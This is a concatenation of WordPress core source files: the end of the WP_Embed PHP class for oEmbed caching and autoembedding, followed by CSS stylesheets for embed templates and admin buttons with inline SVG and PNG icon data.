			$has_kses = false !== has_filter( 'content_save_pre', 'wp_filter_post_kses' );

			if ( $has_kses ) {
				// Prevent KSES from corrupting JSON in post_content.
				kses_remove_filters();
			}

			$insert_post_args = array(
				'post_name'   => $key_suffix,
				'post_status' => 'publish',
				'post_type'   => 'oembed_cache',
			);

			if ( $html ) {
				if ( $cached_post_id ) {
					wp_update_post(
						wp_slash(
							array(
								'ID'           => $cached_post_id,
								'post_content' => $html,
							)
						)
					);
				} else {
					wp_insert_post(
						wp_slash(
							array_merge(
								$insert_post_args,
								array(
									'post_content' => $html,
								)
							)
						)
					);
				}
			} elseif ( ! $cache ) {
				wp_insert_post(
					wp_slash(
						array_merge(
							$insert_post_args,
							array(
								'post_content' => '{{unknown}}',
							)
						)
					)
				);
			}

			if ( $has_kses ) {
				kses_init_filters();
			}
		}

		// If there was a result, return it.
		if ( $html ) {
			/** This filter is documented in wp-includes/class-wp-embed.php */
			return apply_filters( 'embed_oembed_html', $html, $url, $attr, $post_id );
		}

		// Still unknown.
		return $this->maybe_make_link( $url );
	}

	/**
	 * Deletes all oEmbed caches. Unused by core as of 4.0.0.
	 *
	 * @param int $post_id Post ID to delete the caches for.
	 */
	public function delete_oembed_caches( $post_id ) {
		$post_metas = get_post_custom_keys( $post_id );
		if ( empty( $post_metas ) ) {
			return;
		}

		foreach ( $post_metas as $post_meta_key ) {
			if ( str_starts_with( $post_meta_key, '_oembed_' ) ) {
				delete_post_meta( $post_id, $post_meta_key );
			}
		}
	}

	/**
	 * Triggers a caching of all oEmbed results.
	 *
	 * @param int $post_id Post ID to do the caching for.
	 */
	public function cache_oembed( $post_id ) {
		$post = get_post( $post_id );

		$post_types = get_post_types( array( 'show_ui' => true ) );

		/**
		 * Filters the array of post types to cache oEmbed results for.
		 *
		 * @since 2.9.0
		 *
		 * @param string[] $post_types Array of post type names to cache oEmbed results for. Defaults to post types with `show_ui` set to true.
		 */
		$cache_oembed_types = apply_filters( 'embed_cache_oembed_types', $post_types );

		if ( empty( $post->ID ) || ! in_array( $post->post_type, $cache_oembed_types, true ) ) {
			return;
		}

		// Trigger a caching.
		if ( ! empty( $post->post_content ) ) {
			$this->post_ID  = $post->ID;
			$this->usecache = false;

			$content = $this->run_shortcode( $post->post_content );
			$this->autoembed( $content );

			$this->usecache = true;
		}
	}

	/**
	 * Passes any unlinked URLs that are on their own line to WP_Embed::shortcode() for potential embedding.
	 *
	 * @see WP_Embed::autoembed_callback()
	 *
	 * @param string $content The content to be searched.
	 * @return string Potentially modified $content.
	 */
	public function autoembed( $content ) {
		// Replace line breaks from all HTML elements with placeholders.
		$content = wp_replace_in_html_tags( $content, array( "\n" => '<!-- wp-line-break -->' ) );

		if ( preg_match( '#(^|\s|>)https?://#i', $content ) ) {
			// Find URLs on their own line.
			$content = preg_replace_callback( '|^(\s*)(https?://[^\s<>"]+)(\s*)$|im', array( $this, 'autoembed_callback' ), $content );
			// Find URLs in their own paragraph.
			$content = preg_replace_callback( '|(<p(?: [^>]*)?>\s*)(https?://[^\s<>"]+)(\s*<\/p>)|i', array( $this, 'autoembed_callback' ), $content );
		}

		// Put the line breaks back.
		return str_replace( '<!-- wp-line-break -->', "\n", $content );
	}

	/**
	 * Callback function for WP_Embed::autoembed().
	 *
	 * @param array $matches A regex match array.
	 * @return string The embed HTML on success, otherwise the original URL.
	 */
	public function autoembed_callback( $matches ) {
		$oldval              = $this->linkifunknown;
		$this->linkifunknown = false;
		$return              = $this->shortcode( array(), $matches[2] );
		$this->linkifunknown = $oldval;

		return $matches[1] . $return . $matches[3];
	}

	/**
	 * Conditionally makes a hyperlink based on an internal class variable.
	 *
	 * @param string $url URL to potentially be linked.
	 * @return string|false Linked URL or the original URL. False if 'return_false_on_fail' is true.
	 */
	public function maybe_make_link( $url ) {
		if ( $this->return_false_on_fail ) {
			return false;
		}

		$output = ( $this->linkifunknown ) ? '<a href="' . esc_url( $url ) . '">' . esc_html( $url ) . '</a>' : $url;

		/**
		 * Filters the returned, maybe-linked embed URL.
		 *
		 * @since 2.9.0
		 *
		 * @param string $output The linked or original URL.
		 * @param string $url    The original URL.
		 */
		return apply_filters( 'embed_maybe_make_link', $output, $url );
	}

	/**
	 * Finds the oEmbed cache post ID for a given cache key.
	 *
	 * @since 4.9.0
	 *
	 * @param string $cache_key oEmbed cache key.
	 * @return int|null Post ID on success, null on failure.
	 */
	public function find_oembed_post_id( $cache_key ) {
		$cache_group    = 'oembed_cache_post';
		$oembed_post_id = wp_cache_get( $cache_key, $cache_group );

		if ( $oembed_post_id && 'oembed_cache' === get_post_type( $oembed_post_id ) ) {
			return $oembed_post_id;
		}

		$oembed_post_query = new WP_Query(
			array(
				'post_type'              => 'oembed_cache',
				'post_status'            => 'publish',
				'name'                   => $cache_key,
				'posts_per_page'         => 1,
				'no_found_rows'          => true,
				'cache_results'          => true,
				'update_post_meta_cache' => false,
				'update_post_term_cache' => false,
				'lazy_load_term_meta'    => false,
			)
		);

		if ( ! empty( $oembed_post_query->posts ) ) {
			// Note: 'fields' => 'ids' is not being used in order to cache the post object as it will be needed.
			$oembed_post_id = $oembed_post_query->posts[0]->ID;
			wp_cache_set( $cache_key, $oembed_post_id, $cache_group );

			return $oembed_post_id;
		}

		return null;
	}
}
/*! This file is auto-generated */
body,html{padding:0;margin:0}body{font-family:sans-serif}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}.dashicons{display:inline-block;width:20px;height:20px;background-color:transparent;background-repeat:no-repeat;background-size:20px;background-position:center;transition:background .1s ease-in;position:relative;top:5px}.dashicons-no{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M15.55%2013.7l-2.19%202.06-3.42-3.65-3.64%203.43-2.06-2.18%203.64-3.43-3.42-3.64%202.18-2.06%203.43%203.64%203.64-3.42%202.05%202.18-3.64%203.43z%27%20fill%3D%27%23fff%27%2F%3E%3C%2Fsvg%3E")}.dashicons-admin-comments{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M5%202h9q.82%200%201.41.59T16%204v7q0%20.82-.59%201.41T14%2013h-2l-5%205v-5H5q-.82%200-1.41-.59T3%2011V4q0-.82.59-1.41T5%202z%27%20fill%3D%27%2382878c%27%2F%3E%3C%2Fsvg%3E")}.wp-embed-comments a:hover .dashicons-admin-comments{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M5%202h9q.82%200%201.41.59T16%204v7q0%20.82-.59%201.41T14%2013h-2l-5%205v-5H5q-.82%200-1.41-.59T3%2011V4q0-.82.59-1.41T5%202z%27%20fill%3D%27%230073aa%27%2F%3E%3C%2Fsvg%3E")}.dashicons-share{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.5%2012q1.24%200%202.12.88T17.5%2015t-.88%202.12-2.12.88-2.12-.88T11.5%2015q0-.34.09-.69l-4.38-2.3Q6.32%2013%205%2013q-1.24%200-2.12-.88T2%2010t.88-2.12T5%207q1.3%200%202.21.99l4.38-2.3q-.09-.35-.09-.69%200-1.24.88-2.12T14.5%202t2.12.88T17.5%205t-.88%202.12T14.5%208q-1.3%200-2.21-.99l-4.38%202.3Q8%209.66%208%2010t-.09.69l4.38%202.3q.89-.99%202.21-.99z%27%20fill%3D%27%2382878c%27%2F%3E%3C%2Fsvg%3E");display:none}.js .dashicons-share{display:inline-block}.wp-embed-share-dialog-open:hover .dashicons-share{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.5%2012q1.24%200%202.12.88T17.5%2015t-.88%202.12-2.12.88-2.12-.88T11.5%2015q0-.34.09-.69l-4.38-2.3Q6.32%2013%205%2013q-1.24%200-2.12-.88T2%2010t.88-2.12T5%207q1.3%200%202.21.99l4.38-2.3q-.09-.35-.09-.69%200-1.24.88-2.12T14.5%202t2.12.88T17.5%205t-.88%202.12T14.5%208q-1.3%200-2.21-.99l-4.38%202.3Q8%209.66%208%2010t-.09.69l4.38%202.3q.89-.99%202.21-.99z%27%20fill%3D%27%230073aa%27%2F%3E%3C%2Fsvg%3E")}.wp-embed{padding:25px;font-size:14px;font-weight:400;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;line-height:1.5;color:#8c8f94;background:#fff;border:1px solid #dcdcde;box-shadow:0 1px 1px rgba(0,0,0,.05);overflow:auto;zoom:1}.wp-embed a{color:#8c8f94;text-decoration:none}.wp-embed a:hover{text-decoration:underline}.wp-embed-featured-image{margin-bottom:20px}.wp-embed-featured-image img{width:100%;height:auto;border:none}.wp-embed-featured-image.square{float:left;max-width:160px;margin-right:20px}.wp-embed p{margin:0}p.wp-embed-heading{margin:0 0 15px;font-weight:600;font-size:22px;line-height:1.3}.wp-embed-heading a{color:#2c3338}.wp-embed .wp-embed-more{color:#c3c4c7}.wp-embed-footer{display:table;width:100%;margin-top:30px}.wp-embed-site-icon{position:absolute;top:50%;left:0;transform:translateY(-50%);height:25px;width:25px;border:0}.wp-embed-site-title{font-weight:600;line-height:1.78571428}.wp-embed-site-title a{position:relative;display:inline-block;padding-left:35px}.wp-embed-meta,.wp-embed-site-title{display:table-cell}.wp-embed-meta{text-align:right;white-space:nowrap;vertical-align:middle}.wp-embed-comments,.wp-embed-share{display:inline}.wp-embed-meta a:hover{text-decoration:none;color:#2271b1}.wp-embed-comments a{line-height:1.78571428;display:inline-block}.wp-embed-comments+.wp-embed-share{margin-left:10px}.wp-embed-share-dialog{position:absolute;top:0;left:0;right:0;bottom:0;background-color:#1d2327;background-color:rgba(0,0,0,.9);color:#fff;opacity:1;transition:opacity .25s ease-in-out}.wp-embed-share-dialog.hidden{opacity:0;visibility:hidden}.wp-embed-share-dialog-close,.wp-embed-share-dialog-open{margin:-8px 0 0;padding:0;background:0 0;border:none;cursor:pointer;outline:0}.wp-embed-share-dialog-close .dashicons,.wp-embed-share-dialog-open .dashicons{padding:4px}.wp-embed-share-dialog-open .dashicons{top:8px}.wp-embed-share-dialog-close:focus .dashicons,.wp-embed-share-dialog-open:focus .dashicons{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent;border-radius:100%}.wp-embed-share-dialog-close{position:absolute;top:20px;right:20px;font-size:22px}.wp-embed-share-dialog-close:hover{text-decoration:none}.wp-embed-share-dialog-close .dashicons{height:24px;width:24px;background-size:24px}.wp-embed-share-dialog-content{height:100%;transform-style:preserve-3d;overflow:hidden}.wp-embed-share-dialog-text{margin-top:25px;padding:20px}.wp-embed-share-tabs{margin:0 0 20px;padding:0;list-style:none}.wp-embed-share-tab-button{display:inline-block}.wp-embed-share-tab-button button{margin:0;padding:0;border:none;background:0 0;font-size:16px;line-height:1.3;color:#a7aaad;cursor:pointer;transition:color .1s ease-in}.wp-embed-share-tab-button [aria-selected=true]{color:#fff}.wp-embed-share-tab-button button:hover{color:#fff}.wp-embed-share-tab-button+.wp-embed-share-tab-button{margin:0 0 0 10px;padding:0 0 0 11px;border-left:1px solid #a7aaad}.wp-embed-share-tab[aria-hidden=true]{display:none}p.wp-embed-share-description{margin:0;font-size:14px;line-height:1;font-style:italic;color:#a7aaad}.wp-embed-share-input{box-sizing:border-box;width:100%;border:none;height:28px;margin:0 0 10px;padding:0 5px;font-size:14px;font-weight:400;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;line-height:1.5;resize:none;cursor:text}textarea.wp-embed-share-input{height:72px}html[dir=rtl] .wp-embed-featured-image.square{float:right;margin-right:0;margin-left:20px}html[dir=rtl] .wp-embed-site-title a{padding-left:0;padding-right:35px}html[dir=rtl] .wp-embed-site-icon{margin-right:0;margin-left:10px;left:auto;right:0}html[dir=rtl] .wp-embed-meta{text-align:left}html[dir=rtl] .wp-embed-share{margin-left:0;margin-right:10px}html[dir=rtl] .wp-embed-share-dialog-close{right:auto;left:20px}html[dir=rtl] .wp-embed-share-tab-button+.wp-embed-share-tab-button{margin:0 10px 0 0;padding:0 11px 0 0;border-left:none;border-right:1px solid #a7aaad}.dashicons-no {
	background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAQAAAAngNWGAAAAcElEQVR4AdXRVxmEMBAGwJMQCUhAIhKQECmRsFJwMFfp7HfP/E8pk0173CuKpt/0R+WaBaaZqogLagBMuh+DdoKbyRCwqZ/SnM0R5oQuZ2UHS8Z6k23qPxZCTrV5UlHMi8bsfHVXP7K/GXZHaTO7S54CWLdHlN2YIwAAAABJRU5ErkJggg==);
}

.dashicons-admin-comments {
	background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAATUlEQVR4AWMYWqCpvUcAiA8A8X9iMFStAD4DG0AKScQNVDZw1MBRAwvIMLCA5jmFlCD4AMQGlOTtBgoNwzQQ3TCKDaTcMMxYN2AYVgAAYPKsEBxN0PIAAAAASUVORK5CYII=);
}

.wp-embed-comments a:hover .dashicons-admin-comments {
	background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAATElEQVR4AWMYYqB4lQAQHwDi/8RgqFoBfAY2gBSSiBuobOCogaMGFpBhYAEdcwrhIPgAxAaU5O0GCg3DNBDdMIoNpNwwzFg3YBhWAABG71qAFYcFqgAAAABJRU5ErkJggg==);
}

.dashicons-share {
	background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAAc0lEQVR4AWMYfqCpvccAiBcA8X8gfgDEBZQaeAFkGBoOoMR1/7HgDeQa2ECZgQiDHID4AMwAor0MCmBoQP+HBnwAskFQdgBRkQJViGk7wiAHUr21AYdhDTA1dDOQHl6mPFLokmwoT9j0z3qUFw70L77oDwAiuzCIub1XpQAAAABJRU5ErkJggg==);
}

.wp-embed-share-dialog-open:hover .dashicons-share {
	background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAAc0lEQVR4AWMYhqB4lQEQLwDi/0D8AIgLKDXwAsgwNBxAiev+Y8EbyDWwgTIDEQY5APEBmAFEexkUwNCA/g8N+ABkg6DsAKIiBaoQ03aEQQ6kemsDDsMaYEroZiA9vEx5pNAl2VCesOmf9SgvHOhffNEfAAAMqPR5IEZH5wAAAABJRU5ErkJggg==);
}
/*! This file is auto-generated */
/* ----------------------------------------------------------------------------

NOTE: If you edit this file, you should make sure that the CSS rules for
buttons in the following files are updated.

* jquery-ui-dialog.css
* editor.css

WordPress-style Buttons
=======================
Create a button by adding the `.button` class to an element. For backward
compatibility, we support several other classes (such as `.button-secondary`),
but these will *not* work with the stackable classes described below.

Button Styles
-------------
To display a primary button style, add the `.button-primary` class to a button.

Button Sizes
------------
Adjust a button's size by adding the `.button-large` or `.button-small` class.

Button States
-------------
Lock the state of a button by adding the name of the pseudoclass as
an actual class (e.g. `.hover` for `:hover`).


TABLE OF CONTENTS:
------------------
 1.0 - Button Layouts
 2.0 - Default Button Style
 3.0 - Primary Button Style
 4.0 - Button Groups
 5.0 - Responsive Button Styles

---------------------------------------------------------------------------- */

/* ----------------------------------------------------------------------------
  1.0 - Button Layouts
---------------------------------------------------------------------------- */

.wp-core-ui .button,
.wp-core-ui .button-primary,
.wp-core-ui .button-secondary {
	display: inline-block;
	text-decoration: none;
	font-size: 13px;
	line-height: 2.15384615; /* 28px */
	min-height: 30px;
	margin: 0;
	padding: 0 10px;
	cursor: pointer;
	border-width: 1px;
	border-style: solid;
	-webkit-appearance: none;
	border-radius: 3px;
	white-space: nowrap;
	box-sizing: border-box;
}

/* Remove the dotted border on :focus and the extra padding in Firefox */
.wp-core-ui button::-moz-focus-inner,
.wp-core-ui input[type="reset"]::-moz-focus-inner,
.wp-core-ui input[type="button"]::-moz-focus-inner,
.wp-core-ui input[type="submit"]::-moz-focus-inner {
	border-width: 0;
	border-style: none;
	padding: 0;
}

.wp-core-ui .button.button-large,
.wp-core-ui .button-group.button-large .button {
	min-height: 32px;
	line-height: 2.30769231; /* 30px */
	padding: 0 12px;
}

.wp-core-ui .button.button-small,
.wp-core-ui .button-group.button-small .button {
	min-height: 26px;
	line-height: 2.18181818; /* 24px */
	padding: 0 8px;
	font-size: 11px;
}

.wp-core-ui .button.button-hero,
.wp-core-ui .button-group.button-hero .button {
	font-size: 14px;
	min-height: 46px;
	line-height: 3.14285714;
	padding: 0 36px;
}

.wp-core-ui .button.hidden {
	display: none;
}

/* Style Reset buttons as simple text links */

.wp-core-ui input[type="reset"],
.wp-core-ui input[type="reset"]:hover,
.wp-core-ui input[type="reset"]:active,
.wp-core-ui input[type="reset"]:focus {
	background: none;
	border: none;
	box-shadow: none;
	padding: 0 2px 1px;
	width: auto;
}

/* ----------------------------------------------------------------------------
  2.0 - Default Button Style
---------------------------------------------------------------------------- */

.wp-core-ui .button,
.wp-core-ui .button-secondary {
	color: #2271b1;
	border-color: #2271b1;
	background: #f6f7f7;
	vertical-align: top;
}

.wp-core-ui p .button {
	vertical-align: baseline;
}

.wp-core-ui .button.hover,
.wp-core-ui .button:hover,
.wp-core-ui .button-secondary:hover{
	background: #f0f0f1;
	border-color: #0a4b78;
	color: #0a4b78;
}

.wp-core-ui .button.focus,
.wp-core-ui .button:focus,
.wp-core-ui .button-secondary:focus {
	background: #f6f7f7;
	border-color: #3582c4;
	color: #0a4b78;
	box-shadow: 0 0 0 1px #3582c4;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	/* Reset inherited offset from Gutenberg */
	outline-offset: 0;
}

/* :active state */
.wp-core-ui .button:active,
.wp-core-ui .button-secondary:active {
	background: #f6f7f7;
	border-color: #8c8f94;
	box-shadow: none;
}

/* pressed state e.g. a selected setting */
.wp-core-ui .button.active,
.wp-core-ui .button.active:hover {
	background-color: #dcdcde;
	color: #135e96;
	border-color: #0a4b78;
	box-shadow: inset 0 2px 5px -3px #0a4b78;
}

.wp-core-ui .button.active:focus {
	border-color: #3582c4;
	box-shadow:
		inset 0 2px 5px -3px #0a4b78,
		0 0 0 1px #3582c4;
}

.wp-core-ui .button[disabled],
.wp-core-ui .button:disabled,
.wp-core-ui .button.disabled,
.wp-core-ui .button-secondary[disabled],
.wp-core-ui .button-secondary:disabled,
.wp-core-ui .button-secondary.disabled,
.wp-core-ui .button-disabled {
	color: #a7aaad !important;
	border-color: #dcdcde !important;
	background: #f6f7f7 !important;
	box-shadow: none !important;
	cursor: default;
	transform: none !important;
}

.wp-core-ui .button[aria-disabled="true"],
.wp-core-ui .button-secondary[aria-disabled="true"] {
	cursor: default;
}

/* Buttons that look like links, for a cross of good semantics with the visual */
.wp-core-ui .button-link {
	margin: 0;
	padding: 0;
	box-shadow: none;
	border: 0;
	border-radius: 0;
	background: none;
	cursor: pointer;
	text-align: right;
	/* Mimics the default link style in common.css */
	color: #2271b1;
	text-decoration: underline;
	transition-property: border, background, color;
	transition-duration: .05s;
	transition-timing-function: ease-in-out;
}

.wp-core-ui .button-link:hover,
.wp-core-ui .button-link:active {
	color: #135e96;
}

.wp-core-ui .button-link:focus {
	color: #043959;
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.wp-core-ui .button-link-delete {
	color: #d63638;
}

.wp-core-ui .button-link-delete:hover,
.wp-core-ui .button-link-delete:focus {
	color: #d63638;
	background: transparent;
}

.wp-core-ui .button-link-delete:disabled {
	/* overrides the default buttons disabled background */
	background: transparent !important;
}


/* ----------------------------------------------------------------------------
  3.0 - Primary Button Style
---------------------------------------------------------------------------- */

.wp-core-ui .button-primary {
	background: #2271b1;
	border-color: #2271b1;
	color: #fff;
	text-decoration: none;
	text-shadow: none;
}

.wp-core-ui .button-primary.hover,
.wp-core-ui .button-primary:hover,
.wp-core-ui .button-primary.focus,
.wp-core-ui .button-primary:focus {
	background: #135e96;
	border-color: #135e96;
	color: #fff;
}

.wp-core-ui .button-primary.focus,
.wp-core-ui .button-primary:focus {
	box-shadow:
		0 0 0 1px #fff,
		0 0 0 3px #2271b1;
}

.wp-core-ui .button-primary.active,
.wp-core-ui .button-primary.active:hover,
.wp-core-ui .button-primary.active:focus,
.wp-core-ui .button-primary:active {
	background: #135e96;
	border-color: #135e96;
	box-shadow: none;
	color: #fff;
}

.wp-core-ui .button-primary[disabled],
.wp-core-ui .button-primary:disabled,
.wp-core-ui .button-primary-disabled,
.wp-core-ui .button-primary.disabled {
	color: #a7aaad !important;
	background: #f6f7f7 !important;
	border-color: #dcdcde !important;
	box-shadow: none !important;
	text-shadow: none !important;
	cursor: default;
}

.wp-core-ui .button-primary[aria-disabled="true"] {
	cursor: default;
}

/* ----------------------------------------------------------------------------
  4.0 - Button Groups
---------------------------------------------------------------------------- */

.wp-core-ui .button-group {
	position: relative;
	display: inline-block;
	white-space: nowrap;
	font-size: 0;
	vertical-align: middle;
}

.wp-core-ui .button-group > .button {
	display: inline-block;
	border-radius: 0;
	margin-left: -1px;
}

.wp-core-ui .button-group > .button:first-child {
	border-radius: 0 3px 3px 0;
}

.wp-core-ui .button-group > .button:last-child {
	border-radius: 3px 0 0 3px;
}

.wp-core-ui .button-group > .button-primary + .button {
	border-right: 0;
}

.wp-core-ui .button-group > .button:focus {
	position: relative;
	z-index: 1;
}

/* pressed state e.g. a selected setting */
.wp-core-ui .button-group > .button.active {
	background-color: #dcdcde;
	color: #135e96;
	border-color: #0a4b78;
	box-shadow: inset 0 2px 5px -3px #0a4b78;
}

.wp-core-ui .button-group > .button.active:focus {
	border-color: #3582c4;
	box-shadow:
		inset 0 2px 5px -3px #0a4b78,
		0 0 0 1px #3582c4;
}

/* ----------------------------------------------------------------------------
  5.0 - Responsive Button Styles
---------------------------------------------------------------------------- */

@media screen and (max-width: 782px) {

	.wp-core-ui .button,
	.wp-core-ui .button.button-large,
	.wp-core-ui .button.button-small,
	input#publish,
	input#save-post,
	a.preview {
		padding: 0 14px;
		line-height: 2.71428571; /* 38px */
		font-size: 14px;
		vertical-align: middle;
		min-height: 40px;
		margin-bottom: 4px;
	}

	/* Copy attachment URL button in the legacy edit media page. */
	.wp-core-ui .copy-to-clipboard-container .copy-attachment-url {
		margin-bottom: 0;
	}

	#media-upload.wp-core-ui .button {
		padding: 0 10px 1px;
		min-height: 24px;
		line-height: 22px;
		font-size: 13px;
	}

	.media-frame.mode-grid .bulk-select .button {
		margin-bottom: 0;
	}

	/* Publish Metabox Options */
	.wp-core-ui .save-post-status.button {
		position: relative;
		margin: 0 10px 0 14px; /* 14px right margin to match all other buttons */
	}

	/* Reset responsive styles in Press This, Customizer */

	.wp-core-ui.wp-customizer .button {
		font-size: 13px;
		line-height: 2.15384615; /* 28px */
		min-height: 30px;
		margin: 0;
		vertical-align: inherit;
	}

	.wp-customizer .theme-overlay .theme-actions .button {
		margin-bottom: 5px;
	}

	.media-modal-content .media-toolbar-primary .media-button {
		margin-top: 10px;
		margin-right: 5px;
	}

	/* Reset responsive styles on Log in button on iframed login form */

	.interim-login .button.button-large {
		min-height: 30px;
		line-height: 2;
		padding: 0 12px 2px;
	}

}
html, body {
	padding: 0;
	margin: 0;
}

body {
	font-family: sans-serif;
}

/* Text meant only for screen readers */
.screen-reader-text {
	border: 0;
	clip: rect(1px, 1px, 1px, 1px);
	-webkit-clip-path: inset(50%);
	clip-path: inset(50%);
	height: 1px;
	margin: -1px;
	overflow: hidden;
	padding: 0;
	position: absolute;
	width: 1px;
	word-wrap: normal !important;
}

/* Dashicons */
.dashicons {
	display: inline-block;
	width: 20px;
	height: 20px;
	background-color: transparent;
	background-repeat: no-repeat;
	background-size: 20px;
	background-position: center;
	transition: background .1s ease-in;
	position: relative;
	top: 5px;
}

.dashicons-no {
	background-image: url("data:image/svg+xml;charset=utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M15.55%2013.7l-2.19%202.06-3.42-3.65-3.64%203.43-2.06-2.18%203.64-3.43-3.42-3.64%202.18-2.06%203.43%203.64%203.64-3.42%202.05%202.18-3.64%203.43z%27%20fill%3D%27%23fff%27%2F%3E%3C%2Fsvg%3E");
}

.dashicons-admin-comments {
	background-image: url("data:image/svg+xml;charset=utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M5%202h9q.82%200%201.41.59T16%204v7q0%20.82-.59%201.41T14%2013h-2l-5%205v-5H5q-.82%200-1.41-.59T3%2011V4q0-.82.59-1.41T5%202z%27%20fill%3D%27%2382878c%27%2F%3E%3C%2Fsvg%3E");
}

.wp-embed-comments a:hover .dashicons-admin-comments {
	background-image: url("data:image/svg+xml;charset=utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M5%202h9q.82%200%201.41.59T16%204v7q0%20.82-.59%201.41T14%2013h-2l-5%205v-5H5q-.82%200-1.41-.59T3%2011V4q0-.82.59-1.41T5%202z%27%20fill%3D%27%230073aa%27%2F%3E%3C%2Fsvg%3E");
}

.dashicons-share {
	background-image: url("data:image/svg+xml;charset=utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.5%2012q1.24%200%202.12.88T17.5%2015t-.88%202.12-2.12.88-2.12-.88T11.5%2015q0-.34.09-.69l-4.38-2.3Q6.32%2013%205%2013q-1.24%200-2.12-.88T2%2010t.88-2.12T5%207q1.3%200%202.21.99l4.38-2.3q-.09-.35-.09-.69%200-1.24.88-2.12T14.5%202t2.12.88T17.5%205t-.88%202.12T14.5%208q-1.3%200-2.21-.99l-4.38%202.3Q8%209.66%208%2010t-.09.69l4.38%202.3q.89-.99%202.21-.99z%27%20fill%3D%27%2382878c%27%2F%3E%3C%2Fsvg%3E");
	display: none;
}

.js .dashicons-share {
	display: inline-block;
}

.wp-embed-share-dialog-open:hover .dashicons-share {
	background-image: url("data:image/svg+xml;charset=utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.5%2012q1.24%200%202.12.88T17.5%2015t-.88%202.12-2.12.88-2.12-.88T11.5%2015q0-.34.09-.69l-4.38-2.3Q6.32%2013%205%2013q-1.24%200-2.12-.88T2%2010t.88-2.12T5%207q1.3%200%202.21.99l4.38-2.3q-.09-.35-.09-.69%200-1.24.88-2.12T14.5%202t2.12.88T17.5%205t-.88%202.12T14.5%208q-1.3%200-2.21-.99l-4.38%202.3Q8%209.66%208%2010t-.09.69l4.38%202.3q.89-.99%202.21-.99z%27%20fill%3D%27%230073aa%27%2F%3E%3C%2Fsvg%3E");
}

.wp-embed {
	padding: 25px;
	font-size: 14px;
	font-weight: 400;
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	line-height: 1.5;
	color: #8c8f94;
	background: #fff;
	border: 1px solid #dcdcde;
	box-shadow: 0 1px 1px rgba(0, 0, 0, 0.05);
	/* Clearfix */
	overflow: auto;
	zoom: 1;
}

.wp-embed a {
	color: #8c8f94;
	text-decoration: none;
}

.wp-embed a:hover {
	text-decoration: underline;
}

.wp-embed-featured-image {
	margin-bottom: 20px;
}

.wp-embed-featured-image img {
	width: 100%;
	height: auto;
	border: none;
}

.wp-embed-featured-image.square {
	float: left;
	max-width: 160px;
	margin-right: 20px;
}

.wp-embed p {
	margin: 0;
}

p.wp-embed-heading {
	margin: 0 0 15px;
	font-weight: 600;
	font-size: 22px;
	line-height: 1.3;
}

.wp-embed-heading a {
	color: #2c3338;
}

.wp-embed .wp-embed-more {
	color: #c3c4c7;
}

.wp-embed-footer {
	display: table;
	width: 100%;
	margin-top: 30px;
}

.wp-embed-site-icon {
	position: absolute;
	top: 50%;
	left: 0;
	transform: translateY(-50%);
	height: 25px;
	width: 25px;
	border: 0;
}

.wp-embed-site-title {
	font-weight: 600;
	line-height: 1.78571428;
}

.wp-embed-site-title a {
	position: relative;
	display: inline-block;
	padding-left: 35px;
}

.wp-embed-site-title,
.wp-embed-meta {
	display: table-cell;
}

.wp-embed-meta {
	text-align: right;
	white-space: nowrap;
	vertical-align: middle;
}

.wp-embed-comments,
.wp-embed-share {
	display: inline;
}

.wp-embed-meta a:hover {
	text-decoration: none;
	color: #2271b1;
}

.wp-embed-comments a {
	line-height: 1.78571428;
	display: inline-block;
}

.wp-embed-comments + .wp-embed-share {
